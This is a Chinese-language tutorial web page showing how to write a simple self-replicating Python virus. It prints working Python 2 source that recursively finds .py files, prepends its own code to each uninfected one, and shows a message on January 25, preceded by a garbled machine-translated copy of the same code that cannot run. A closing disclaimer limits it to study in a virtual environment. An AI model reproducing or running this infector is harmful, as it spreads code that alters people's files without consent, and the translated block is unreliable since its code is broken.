首页 >> 人工智能 >>Python入门 >> 用Python制作简单的病毒
详细内容

用Python制作简单的病毒

Python病毒!让我们轻松地在Python中编写简单的病毒,众所周知,Python已被黑客广泛使用,用于编写不同的脚本以简化任务,现在,让我们使用Python编写病毒。


这个简单的Python脚本在执行时会搜索Python文件,并将文件中的字符串变为以下内容:“ EthicalHackx正在监视您”。

#!/ usr / bin / python导入操作系统导入日期时间签名=“简单的PYTHON病毒”def搜索(路径):
    filestoinfect = []
    文件列表= os.listdir(路径)
    对于文件列表中的fname:
        如果os.path.isdir(path +“ /” + fname):
            filestoinfect.extend(search(path +“ /” + fname))
        elif fname [-3:] ==“ .py”:
            感染=错误
            对于open(path +“ /” + fname)中的行:
                如果签名符合以下条件:
                    感染=正确
                    打破
            如果被感染== False:
                filestoinfect.append(path +“ /” + fname)
    返回文件感染def infect(filestoinfect):
    病毒=打开(os.path.abspath(__ file__))
    virusstring =“”
    为我,在枚举(病毒)行:
        如果i> = 0且i< 39:
            病毒串+ =行
    病毒关闭
    文件中的fname感染:
        f =打开(fname)
        temp = f.read()
        f.close()
        f =打开(fname,“ w”)
        f.write(病毒串+临时)
        f.close()def bomb():
    如果datetime.datetime.now()。month == 1和datetime.datetime.now()。day == 25:
        打印“ EthicalHackx在看着你”filestoinfect =搜索(os.path.abspath(“”))感染(文件感染)炸弹()

#!/usr/bin/python

import os

import datetime

SIGNATURE = "SIMPLE PYTHON VIRUS"

def search(path):

    filestoinfect = []

    filelist = os.listdir(path)

    for fname in filelist:

        if os.path.isdir(path+"/"+fname):

            filestoinfect.extend(search(path+"/"+fname))

        elif fname[-3:] == ".py":

            infected = False

            for line in open(path+"/"+fname):

                if SIGNATURE in line:

                    infected = True

                    break

            if infected == False:

                filestoinfect.append(path+"/"+fname)

    return filestoinfect

def infect(filestoinfect):

    virus = open(os.path.abspath(__file__))

    virusstring = ""

    for i,line in enumerate(virus):

        if i>=0 and i <39:

            virusstring += line

    virus.close

    for fname in filestoinfect:

        f = open(fname)

        temp = f.read()

        f.close()

        f = open(fname,"w")

        f.write(virusstring + temp)

        f.close()

def bomb():

    if datetime.datetime.now().month == 1 and datetime.datetime.now().day == 25:

        print "EthicalHackx is Watching YOU"

filestoinfect = search(os.path.abspath(""))

infect(filestoinfect)

bomb()

注意:这仅用于参考学习目的,并且可以在安全环境(虚拟环境)中运行

请勿用于违法行为,存在违法行为本站不承担任何后果!

技术支持: 建站ABC | 管理登录